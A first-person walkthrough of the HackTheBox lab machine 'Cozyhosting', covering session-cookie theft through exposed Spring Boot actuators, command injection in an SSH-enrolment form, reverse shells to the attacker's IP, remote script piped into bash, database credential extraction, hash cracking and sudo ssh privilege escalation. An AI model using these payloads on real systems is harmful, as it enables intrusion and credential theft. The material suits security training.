HackTheBox: Cozyhosting

01/13/2024

Like [[Keeper]], this is a live easy box that I'm attempting on the day it released.

This is the first time Im using tmux during a box.

Enumeration

We have ports 22 and 80 open, pretty standard. Nmap states that it didnt follow the redirect to "cozyhosting.htb", so I added that to /etc/hosts and run it again.

It appears to be an Ubuntu system, with the website using an nginx server.

Ill investigate the website while running nikto on it in the background.

Nikto appears to have given a lot of false positives because the website returns an unusual response for nonexistent pages. May be useful later. It says something like "there is no mapping for /error"

The website appears to be a server hosting service, kind of like Linode. Most of the links on the page go nowhere. The "Login" link appears to work though, so Ill start there. As Im doing that, Ill run gobuster in the background.

I tried the basic "admin:admin" and "admin:password" credentials unsuccessfully; I didnt really expect that to work though. Ill try running SQLmap on the login.

SQLMap shows the following: "got a 302 redirect to 'http://cozyhosting.htb/login?error'".

While Im waiting for SQLMap to run, Ill do some research. Ill look into the "Whitelabel error page", and then into the javascript libraries that the site is running ("Lightbox", "AOS", "Swiper").

If that doesnt reveal anything, and SQLmap has no luck attempting to bypass the login, then Ill do more brute forcing: both directories and vhosts.

Some googling suggests that that whitelabel error message might mean its running "Spring Boot", and there's a hacktricks page devoted to it: (https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/spring-actuators). This page actually has a section on auth bypass.

Well, that confirms that its using Spring Boot: I tested all the endpoints listed on hacktricks for Spring Boot, and this one was a hit: /actuator/env. This is supposed to be restricted, but I can see it without authorization. That suggests that it might be an old version, 1.4 or prior. The following also work: - /actuator/mappings <--- list of all the /actuator/ endpoints - /actuator/health - /actuator/beans <--- What is this? - /actuator/sessions <--- Hell yeah... this appears to show session cookies! It has 2 for "kanderson". I could potentially submit a request to /admin with this cookie...

==Under /actuator/mappings there is an enpoint mentioned that's just called /executessh. This looks like a ticket in, potentially... if cookie stealing doesnt go anywhere, come back to this==

Cookie stealing

I ALMOST cant believe that just worked. I copied the session cookie for "kanderson" from /actuator/sessions, submitted a request to /admin and intercepted it with Burp, then replaced my own cookie with "kanderson's", and it fucking worked! I got the admin portal. I dont actually know if that was the intended way, because I might have just stolen another user's cookie. Still cool that I was able to do it though.

Even though Im in, I still dont have his password. But at least now I know there's an admin user with the username "kanderson". I COULD try to brute force his password, but Im skeptical it would be worthwhile.

The admin dashboard shows a list of services running on different hosts, along with their description, cost, and software security status. A few are listed as "not patched": - "Website" running on "tender mirzakhani", number 2644 - "Test runner" on "cranky mcnulty", number 2644 - "Dev environment" on "awesome lalande", number 2644

One is listed as "pending": the "API server" on "boring mahavira", number 2147.

Im not completely sure what to make of the "host" names. I dont know if maybe I could add those to /etc/hosts and access them or what.

Down at the bottom of the page, there is a form to enroll a host into "automatic patching". It appears that you provide a hostname and username and add a provided rsa key into that machines .ssh/authorized_keys file and the web app will SSH in and scan it.

Examining the page source, this form POSTS to the /executessh endpoint I mentioned earlier, submitting the username and hostname. I dont really know if I can do anything with that to be honest, but maybe Ill set up a netcat listener on 22 and provide it my own ip and a bullshit username.

OH!!! Its probably command-injectable! I bet it executes something like ssh -i id_rsa $username@$hostname. So I once I see that I can get it to work normally, I can attempt command injection. My hunch is that the "hostname" parameter will be injectable. For instance, if I do something like hostname: test;nc <my ip here> maybe Ill get a callback. If I do, I can use that to get a reverse shell.

Attempting command injection through the /executessh endpoint

As I said, my hunch is that the /executessh thing is vulnerable to command injection. I submitted "hostname:10.10.14.29" and "username:test", with a netcat listener setup on port 22 to see if it actually attempts to ssh in.

I dont see any connection attempts, but the page redirects to show an error message saying "The host was not added! ssh: connect to host 10.10.14.29 port 22: Connection timed out". So fuck it, let me attempt a callback.

I get an "invalid hostname" error even when using hostnames it shows on the page.

Okay, I dont appear to be having any luck with the "hostname" param, let me try "username" instead.

It gives me an error message that the name contains white space if I try "test@10.10.14.29;nc 10.10.14.29 9001". So it has some filtering. If I try ";whoami", I get a 400 bad request page BUT I see something interesting in the URL's error parameter:


http://cozyhosting.htb/admin?error=usage:%20ssh%20[-46AaCfGgKkMNnqsTtVvXxYy]%20[-B%20bind_interface]%20%20%20%20%20%20%20%20%20%20%20[-b%20bind_address]%20[-c%20cipher_spec]%20[-D%20[bind_address:]port]%20%20%20%20%20%20%20%20%20%20%20[-E%20log_file]%20[-e%20escape_char]%20[-F%20configfile]%20[-I%20pkcs11]%20%20%20%20%20%20%20%20%20%20%20[-i%20identity_file]%20[-J%20[user@]host[:port]]%20[-L%20address]%20%20%20%20%20%20%20%20%20%20%20[-l%20login_name]%20[-m%20mac_spec]%20[-O%20ctl_cmd]%20[-o%20option]%20[-p%20port]%20%20%20%20%20%20%20%20%20%20%20[-Q%20query_option]%20[-R%20address]%20[-S%20ctl_path]%20[-W%20host:port]%20%20%20%20%20%20%20%20%20%20%20[-w%20local_tun[:remote_tun]]%20destination%20[command%20[argument%20...]]/bin/bash:%20line%201:%20whoami@10.10.14.29:%20command%20not%20found

If you URL decode that, you get the usage message that comes up when you misuse SSH:


usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]           [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]           [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]           [-i identity_file] [-J [user@]host[:port]] [-L address]           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]           [-Q query_option] [-R address] [-S ctl_path] [-W host:port]           [-w local_tun[:remote_tun]] destination [command [argument ...]]/bin/bash: line 1: whoami@10.10.14.29: command not found

And in addition to that usage message is the line at the bottom:


/bin/bash: line 1: whoami@10.10.14.29: command not found

Hah! So we're seeing error messages straight from the terminal in the URL. Now what if I try something like ;whoami; for the URL? Maybe we can use a second semicolon to escape the @10.10.14.29 part. Now we get this error:


usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]           [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]           [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]           [-i identity_file] [-J [user@]host[:port]] [-L address]           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]           [-Q query_option] [-R address] [-S ctl_path] [-W host:port]           [-w local_tun[:remote_tun]] destination [command [argument ...]]/bin/bash: line 1: @10.10.14.29: command not found

It complains about the ssh usage and that @10.10.14.29 is not a command, but no mention of whoami. I am going to assume that whoami DID run, and that only stderr is being shown to us. I can test this theory by putting an invalid command between the semicolons. This is what I get when I submit ;whoooami; as the username:


usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]           [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]           [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]           [-i identity_file] [-J [user@]host[:port]] [-L address]           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]           [-Q query_option] [-R address] [-S ctl_path] [-W host:port]           [-w local_tun[:remote_tun]] destination [command [argument ...]]/bin/bash: line 1: whoooami: command not found/bin/bash: line 1: @10.10.14.29: command not found

There you have it: we're only seeing the ERROR messages, it IS executing what we put between semicolons. So we have RCE, albeit a limited version in which we cant execute any commands with spaces, yet. I think the next step will be figuring out how to trick the filter.

Man, Im doing this really inefficiently. It turns out you dont need an admin cookie to submit to the /executessh endpoint. What I should do is send the request to repeater and do it that way rather than have to reload the page every time

Okay. With the request now in Repeater I can try different commands quickly. I looked up ways to bypass whitespace filters and this hacktricks page (https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions) has an awesome reverse shell with no whitespace:


(sh)0>/dev/tcp/10.10.14.29/9001

Lets see if I can get a shell with the payload:


;(sh)0>/dev/tcp/10.10.14.29/9001;

On my netcat listener I see:


$ nc -nlvp 9001                  
listening on [any] 9001 ...                                               
connect to [10.10.14.29] from (UNKNOWN) [10.10.11.230] 39360

Fuck yeah! Got a shell. I wont see any output, but I can use this to spawn another full reverse shell without the whitespace restriction. I set up another netcat listener on 4444 and enter into the limited shell:


rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 4444 >/tmp/f

And on my other listener I see:


$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.29] from (UNKNOWN) [10.10.11.230] 51330
/bin/sh: 0: can't access tty; job control turned off
$ whoami
app

Im too damn good. Now lets upgrade this shell and get the flag.

On a side note, Im really liking tmux. Its great for this. I might remap the prefix keys to be easier to hit though, because I have to look down every time to hit CTRL-B. But it's awesome to be able to easily split the screen and navigate between windows. The only complaints I have right now are that when you try to copy and paste multiple lines, it isnt confined to one window, it does the lines of the entire screen. So you inadvertently copy from multiple windows. But that can be solved by maximizing the window in question with CTRL-B Z. My second complaint is that you cant just scroll in a window unless you hit CTRL-B [ first.

Anyway, back to business. To upgrade the shell, enter

bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

Then background the shell with CTRL-Z. Now enter stty raw -echo. The next commands wont appear on screen, but they will be processed. Now foreground the reverse shell with fg, and then type reset. If it prompts for terminal type, you can just type xterm. ==NOTE THAT THIS DOESNT SEEM TO WORK IN ZSH, which is Kali's default shell. So before setting up the netcat listener switch to bash shell by simply typing "bash".==

Now we have a legit shell:


app@cozyhosting:/app$ 

The guide I used is this: (https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/)

Internal Enumeration

In the working directory there's a jar file. I transferred it to my machine by hosting a python server on the victim and then using wget from my own machine. I honestly hope I dont have to dig into that because I dont feel like messing with that. What Ill do is upload linpeas and pspy to see what I can find.

Im unable to write in the current directory. I could just go somewhere else like /tmp to save linpeas, but I can also just pipe it directly into bash like this:


curl http://10.10.14.29:1234/linpeas.sh | bash

Linpeas suggests that it is probably vulnerable to CVE-2022-32250, which I will investigate after reading the rest of the scan.

==The /etc/hosts file reveals another local host name, "cozycloud." Let me quickly check that website...== Okay, nevermind, it just redirects you to the normal site.

There's a port listening internally on 5432, which is postgresql.

There's a user named josh.

postgres user has a login shell.

We also have an unknown SGID binary:


/usr/bin/write.ul (Unknown SGID binary)

Linpeas also flags some capabilities as being potentially exploitable:


CapBnd:  0x000001ffffffffff=cap_chown

Specifically the cap_chown part.

Also, remember to check su and sudo -l without password.

Check /etc/nginx/sites-enabled for other web sites.

Also, if that doesnt work, I should unpack the jar file and find database credentials.

Unpacking the application jar file to obtain database credentials

I extracted the jar file contents by running jar xf cloudhosting-0.0.1.jar. Then I recursively grepped it for "pass" hoping to find something along the lines of "password=".

In the file /BOOT-INF/classes/application.properties we get the database credentials:


server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

Great. Now with the reverse shell I can try to access it:


app@cozyhosting:/tmp$ psql -h localhost -p 5432 -U postgres cozyhosting
Password for user postgres: (Vg&nvzAQ7XxR)
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

cozyhosting=# 

Finally. It actually took about an hour just to figure out how to connect to it. Until I did the exact line above I would either get a socket error or an authentication error.

Alright, let me pull up a postgres cheat sheet and see if we can find some hashes.

Okay:


cozyhosting-# \dt
         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)

cozyhosting=# select * from "users";
   name    |                           password                           | role  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin

Okay, so we have 2 hashes. Ill see if john can crack them:


$ john hashes --wordlist=/usr/share/SecLists/Passwords/rockyou.txt

And...


manchesterunited ( admin)

Success!!

Lets see if this will work for the other username we know from \home:


app@cozyhosting:/tmp$ su josh
Password: manchesterunited
josh@cozyhosting:/tmp$ 

Hell yeah! We're josh. We can SSH in now, and we get the user flag.

Privilege escalation

First thing after getting the user flag, I checked if josh can run any commands as sudo with sudo -l:


User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

Okay, great. Let's check gtfobins to see how to use that.

GTFOBins shows the following command to get a root shell:


- Spawn interactive root shell through ProxyCommand option.
    
    sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

Lets try it:


josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# whoami
root